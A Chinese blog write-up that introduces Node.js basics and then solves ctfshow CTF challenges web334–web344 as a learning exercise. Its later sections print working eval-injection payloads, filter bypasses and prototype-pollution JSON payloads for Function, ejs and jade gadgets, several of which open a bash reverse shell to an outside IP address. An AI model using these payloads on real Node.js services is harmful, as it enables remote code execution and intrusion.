NodeJs从零到原型链污染

新闻资讯   2023-06-10 13:58   80   0  

扫码领资料

获网安教程

免费&进群


前言展开目录

CTF 的时候确实有遇到 NodeJS 的题目,但是从来没系统学习,所以拿到题很懵。不知道应该从什么地方入手,所以决定去学习一下

NodeJS 基础展开目录

由于之前没怎么学过 JavaScript,所以边打题边学习了其基本语法,推荐一本好看的小说《JavaScript 百炼成仙》
还有就是可以去菜鸟学,两小时就能拉通
官方文档:http://nodejs.cn/api/modules.html
在 NodeJS 中分为三个模块,分别是:核心模块、自定义模块、第三方模块。
JS 代码在编程时,如果需要使用某个模块的功能,那么就需要提前将其导入,与 Python 类似,只不过在 Python 中使用 import 关键字,而 JS 中使用 require 关键字。
我主要学习在 ctf 中应用的比较多是几个方面

fs 文件系统展开目录

fs 模块支持以标准 POSIX 函数建模的方式与文件系统进行交互。

其中最简单的一个就是文件读取的操作
但是我们得分清楚

同步和异步

区别:

同步阻塞:同步的 API 会阻止 Node.js 事件循环和进一步的 JavaScript 执行,直到操作完成。
异步阻塞:对于一个 IO 操作,比如一个 ajax,当发出一个异步请求后,程序不会阻塞在那里等待结果的返回,而是继续执行下面的代码。

当请求成功获取到结果后,就会调用回调函数来处理后面的事情,这个就是异步

简单但不完全正确的说:

同异步与现实生活的方式相反,同步就是事一件一件做,做完一件再做下一件,而异步是同时开始。

举个例子

  • var fs = require('fs');//导入fs模块

  • a = fs.readFileSync('./m1.txt');

  • console.log(a.toString());

  • console.log("结束!");

这就是异步,它的输出结果为

很明显是等待每个操作完成,然后只执行下一个操作
接下来是同步

  • var fs = require("fs");//导入fs模块

  • fs.readFile('./m1.txt', function (err, data) {

  • if (err) return console.error(err);

  • console.log(data.toString());

  • console.log("------------------")

  • console.log("现在才结束!")

  • });


  • console.log("结束?");

这是就是异步,它的输出结果为

异步 从不等待每个操作完成,而是只在第一步执行所有操作

全局变量展开目录

  1. __dirname:当前模块的目录名。

  2. __filename:当前模块的文件名。这是当前的模块文件的绝对路径(符号链接会被解析)。

  3. exports 变量是默认赋值给 module.exports,它可以被赋予新值,它会暂时不会绑定到 module.exports。

  4. module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。为方便起见,还可以通过全局模块的 exports

  5. 访问 module.exports。module 实际上不是全局的,而是每个模块本地的

  6. require 模块就不多说了,用于引入模块、 JSON、或本地文件。可以从 node_modules 引入模块。

我们常用的全局变量为__dirname 和__filename

HTTP 服务展开目录

如果想自己尝试搭建可以参考这篇博客:用 nodejs 搭建简易的 HTTP 服务器
这里我就简单的搭一个

  • /**


  • 1.使用 HTTP 服务器与客户端交互,需要 require('http')。

  • 声明http协议

  • */

  • var http = require('http');


  • /**

  • 2.获取服务器对象

  • 1.通过 http.createServer([requestListener]) 创建一个服务


  • requestListener <Function>

  • 返回: <http.Server>

  • 返回一个新建的 http.Server 实例。

  • 对于服务端来说,主要做三件事:

  • 1.接受客户端发出的请求。

  • 2.处理客户端发来的请求。

  • 3.向客户端发送响应。

  • */


  • var server = http.createServer();


  • /**

  • 3.声明端口号,开启服务。

  • server.listen([port][, host][, backlog][, callback])


  • port <number> :端口号

  • host <string> :主机ip

  • backlog <number> server.listen() 函数的通用参数

  • callback <Function> server.listen() 函数的通用参数

  • Returns: <net.Server>

  • 启动一个TCP服务监听输入的port和host。


  • 如果port省略或是0,系统会随意分配一个在'listening'事件触发后能被server.address().port检索的无用端口。


  • 如果host省略,如果IPv6可用,服务器将会接收基于unspecified IPv6 address (::)的连接,否则接收基于unspecified IPv4 address (0.0.0.0)的连接


  • */

  • server.listen(9000, function(){

  • console.log('服务器正在端口号:9000上运行......');

  • })



  • /**

  • 4.给server 实例对象添加request请求事件,该请求事件是所有请求的入口。

  • 任何请求都会触发改事件,然后执行事件对应的处理函数。


  • server.on('request',function(){

  • console.log('收到客户端发出的请求.......');

  • });

  • */

  • //server.on('request',callbackFun)



  • /**

  • 5.设置请求处理函数。

  • 请求回调处理函数需要接收两个参数。

  • request :request是一个请求对象,可以拿到当前浏览器请求的一些信息。

  • eg:请求路径,请求方法等

  • response: response是一个响应对象,可以用来给请求发送响应。


  • */

  • server.on('request',function(request,response){


  • console.log('收到客户端发出的请求.......');

  • console.log('当前请求路径:'+request.url);

  • response.write('hello nodeJs ');

  • response.write(' hello M1kael');

  • console.log('响应客户端发出的请求.......');

  • // 响应完成后主动结束响应。

  • response.end();

  • });



  • var callbackFun = function(request,response){


  • console.log('收到客户端发出的请求.......');

  • console.log('当前请求路径:'+request.url);

  • response.write('hello nodeJs');

  • response.write('hello M1kael');

  • console.log('响应客户端发出的请求.......');

  • // 响应完成后主动结束响应。

  • response.end();

  • }

child_process 展开目录

child_process 提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync

经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
异步进程的创建

  • child_process.exec (): 衍生 shell 并在该 shell 中运行命令,完成后将 stdout 和 stderr
    传给回调函数。

  • child_process.execFile (): 与 child_process.exec ()
    类似,不同之处在于,默认情况下,它直接衍生命令,而不先衍生 shell。

  • child_process.fork (): 衍生新的 Node.js 进程并使用建立的 IPC
    通信通道(其允许在父子进程之间发送消息)调用指定的模块。

  • child_process.execSync (): child_process.exec () 的同步版本,其将阻塞 Node.js
    事件循环。

  • child_process.execFileSync (): child_process.execFile () 的同步版本,其将阻塞
    Node.js 事件循环。 等下会拿例题来使用

同步进程的创建
child_process.spawnSync ()、child_process.execSync () 和 child_process.execFileSync () 方法是同步的,将阻塞 Node.js 事件循环,暂停任何其他代码的执行,直到衍生的进程退出。

具体的细节大家可以去官方文档看看

原型链展开目录

原型

任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的 prototype 指向的对象,即任何对象都是由一个构造函数创建的

举个例子
在 JavaScript 中,声明了一个函数 a,然后浏览器就自动在内存中创建一个对象 b,a 函数默认有一个属性 prototype 指向了这个对象 b,b 就是函数 a 的原型对象,简称原型。同时,对象 b 默认有属性 constructor 指向函数 a。

原型链

原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的 prototype 的进行查找,直至查找到 Object 时,就没有指向了。如果最终查找失败会返回 undefined 或报错

从属关系

prototype-> 函数的一个属性:对象 {}

eg:

  • function Test(){}

  • console.log(Test.prototype);

__proto___> 对象 Object 的一个属性:对象 {}

eg:

  • function Test(){}

  • console.log(Test.prototype);


  • var m1= new Test();

  • console.log(m1.__proto__);

对象的__proto__ 保存着该对象的的构造函数的 prototype

eg:

  • function Foo(){}

  • var fn=new Foo();

  • console.log(fn.__proto__ == Foo.prototype)

  • console.log(fn.__proto__.__proto__ == Object.prototype)

  • console.log(fn.__proto__.__proto__.__proto__ == Object.prototype.__proto__)

  • /*

  • true

  • true

  • true

  • */

好,了解完这些之后我们再来谈谈原型链污染
借用 p 神对原型链污染的定义

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。(影响的是在子类中不存在的属性)

但是我看 p 神的文章看得半懂不懂,下来补了下基础知识才知道
这里我们需要了解它的继承方式

  • function Test(){

  • this.a=1;

  • }


  • Test.prototype.b=2;

  • Object.prototype.c=3;


  • var m1= new Test();

  • console.log(m1.a);

  • console.log(m1.b)

  • console.log(m1.c)

其实在我个人的建议,不妨把__proto__当作一个指针,它指向它的构造函数,然后构造函数的__proto__指向 Object,Object 中没有这个属性,使用指向空.
原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从实例化对象中中寻找,如果没有找到,则会向上在构造函数中寻找,如果仍未找到则会继续向上,直到查找到元素或查找到 Object 类为止,意思就是我们只需要继承链修改掉 Obeject 类的属性时,去实例化 Obeject 类,其对象也拥有了我们修改的属性,这就是原型链污染。

练习题展开目录

在 ctfshow 平台上的,nodejs 模块的题目,很多基础知识,也学到了很多。

web334 展开目录

题目提供了源码
我只找了两段关键代码
user.js

  • module.exports = {

  • items: [

  • {username: 'CTFSHOW', password: '123456'}

  • ]

  • };

login.js

  • var findUser = function(name, password){

  • return users.find(function(item){

  • return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

  • });

  • };

给了账号密码但是有过滤,但是 toUpperCase () 用于把字符串转换为大写,所以只需要用户名小写 ctfshow 密码 123456 得到 flag

web335 展开目录

f12 根据提示随便传参试试

知道底层应该是 eval ('console.log (xxx)')
意思就是 nodejs 的命令执行

再使用 fs 模块来读下目录

  • require("fs").readdirSync('.','utf-8')

发现有个 fl00g.txt 然后再用这个模块来读就行

  • require("fs").readFileSync('./fl00g.txt','utf-8')

后面看 wp 才知道可以使用子进程,原理是 Node.js 中的 chile_process.exec 调用的是 /bash.sh,它是一个 bash 解释器,可以执行系统命令。

const {execSync} = require ('child_process').execSync (' 需要执行的终端命令 ')

所以这里的 pyload

  • require('child_process').execSync('ls')

  • require('child_process').execSync('cat fl00g.txt')

web336 展开目录

这里用 fs 模块也能直接出答案

  • require("fs").readdirSync('.','utf-8')

  • require("fs").readFileSync('./fl001g.txt','utf-8')

但是当我用上面的子进程 payload 出问题了

应该有过滤,因为返回的是 tql
所以我吗来读一下源码,先读文件名,用全局变量__fliename

然后还得用 fs 模块来读取文件

  • require("fs").readFileSync('/app/routes/index.js','utf-8')

  • var express = require('express');

  • var router = express.Router();

  • router.get('/', function(req, res, next) {

  • res.type('html');

  • var evalstring = req.query.eval;

  • if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){

  • res.render('index',{ title: 'tql'}); }

  • else{

  • res.render('index', { title: eval(evalstring) });

  • } });

  • module.exports = router;

发现过滤了 exec 和 load
所以我们这又会想着两个思路
思路一:
既然有过滤,那就有绕过姿势
所以我在本地试出了加号可以绕过
但是打环境又不行,我发现在浏览器上会被加号解析成空格,从而达不到绕过的效果
再考虑去 url 编一下码,成功绕过


  • require("child_process")['exe'%2B'cSync']('ls')

  • require('child_process')['exe'%2B'cSync']('cat fl001g.txt')

思路二,
子进程那么多同步方式,我们就换一个就行

  • require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()

  • require( 'child_process' ).spawnSync('cat', ['fl001g.txt'], {encoding: 'utf-8'}).stdout.toString()

web337
题目又给了源码

  • var express = require('express');

  • var router = express.Router();

  • var crypto = require('crypto');


  • function md5(s) {

  • return crypto.createHash('md5')

  • .update(s)

  • .digest('hex');

  • }


  • /* GET home page. */

  • router.get('/', function(req, res, next) {

  • res.type('html');

  • var flag='xxxxxxx';

  • var a = req.query.a;

  • var b = req.query.b;

  • if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){

  • res.end(flag);

  • }else{

  • res.render('index',{ msg: 'tql'});

  • }


  • });


  • module.exports = router;

需要满足 a,b 长度相同,a,b 值不同,a,b+flag 的 md5 值相同
这里一样的用数组绕过长度比较

原理就是这样,a 和 b 相当于 a [1]=1&b [1]=2,但是它的 md5 绕不过
而 c 和 d 传入 c [a]=1&d [a]=2 时,都返回 [object Object] flag {xxxx}。此时就能绕过了
然后 a []=1&b=1 就不用解释了

web338 展开目录

很简单的原型链污染入门题
www 的文件里面是 http 服务,先打开环境
发现是个登录界面,所以应该是在 login.js 里面可以进行污染

  • var express = require('express');

  • var router = express.Router();

  • var utils = require('../utils/common');




  • /* GET home page. */

  • router.post('/', require('body-parser').json(),function(req, res, next) {

  • res.type('html');

  • var flag='flag_here';

  • var secert = {};

  • var sess = req.session;

  • let user = {};

  • utils.copy(user,req.body);

  • if(secert.ctfshow==='36dboy'){

  • res.end(flag);

  • }else{

  • return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

  • }



  • });


  • module.exports = router;

发现确实是需要满足 secert.ctfshow==='36dboy'
所以我们可以直接构造它的构造函数的原型有这个属性
所以我们直接抓包修改链子就行

web339 展开目录

也给了源码
在 login.js 中找到

意思是我们需要满足这个才行,但肯定利用不了,所以找一下其他地方来进行污染

在 api.js 中找到了 Function
这个函数(也是对象)的一个属性是 query,首先得知道这个对象的构造函数是自己,它和 Object 是特性,在底层就是这样规定的
然后我们看看能不能利用这个属性来进行污染
所以我们直接进行数据外带 试试 因为 Function 环境下没有 require 函数,直接使用 require (‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替

  • {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}

直接 post 传 api 界面进行污染就行

然后在目录下的 login.js 找到 flag

然后去看了 wp 知道这个题还有一个非预期解
利用点就是题用了 ejs 模板引擎,这个模板引擎有个漏洞可以 rce:

  • {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

web340 展开目录

与之前的 web338,web339339 都很相似
但是 web338 类似的地方

它在链子的第一层就定义了这个属性为 false,所以这里是打不了的
只能来打与 web339 相似的地方

依旧用这个属性来打,但是这里我们需要构造 function 的构造函数,也可以说就是 Object
它自己的最底层套了两次,所以我们就需要__proto__两层就行
所以 payload:

  • {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

依旧在 api 界面弹就行

还是在 login.js 找到

web341 展开目录

发现没有常规的逻辑漏洞让我们来污染了
然后看了一圈发现了这个

然后用之前这个基于 ejs 模板渲染的 rce 就行

  • {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

打过去后刷新一些页面就能反弹

没找到 flag, 算了不想花时间找了
直接下一题

web342 展开目录

这个也是模板渲染的 rce,只是它是基于 jade 模板渲染的 rce 就行,但是这里和 web140 又是一样里面有一层

然后直接去网上找一下 payload:

  • {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

注意这两个点,然后打过去

随便刷新一下页面,反弹 shell 成功
然后在 env 环境变量里找到 flag

web343 展开目录

与上题一样,也是基于 jade 模板渲染的 rce
直接上题 paylaod:

  • {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.41.59.127/8080 0>&1\"')"}}}

操作一样就不多说了

web344 展开目录

给了源码

  • router.get('/', function(req, res, next) {

  • res.type('html');

  • var flag = 'flag_here';

  • if(req.url.match(/8c|2c|\,/ig)){

  • res.end('where is flag :)');

  • }

  • var query = JSON.parse(req.query.query);

  • if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){

  • res.end(flag);

  • }else{

  • res.end('where is flag. :)');

  • }


  • });

很简单的构造问题了,node.js 处理 req.query.query 的时候,它不像 php 那样,后面 get 传的 query 值会覆盖前面的,而是会把这些值都放进一个数组中。而 JSON.parse 居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。
所以我们只需要构造一个

  • query={"name":"admin",query="password":"ctfshow",query="isVIP":true}

但是它这个过滤的是把逗号过滤掉了,然后逗号的 url 编码还是为 %2c,2c 也被过滤
这里我们就用 & 来绕过就行,然后再进行 url 编码
所以最终 payload:

  • ?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

结语展开目录

自我认知展开目录

还是发现自己的代码功底太弱了,需要好好多做一些审计题。
NodeJs 的学习就先告一段落了,后面如果想深入再来补充。

参考链接展开目录

参考链接一
参考链接二
参考链接三
参考链接四
参考链接五
参考链接六
参考链接七

声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用 BY-NC-SA 协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!


来源:http://blog.m1kael.cn/index.php/archives/27/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧



文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。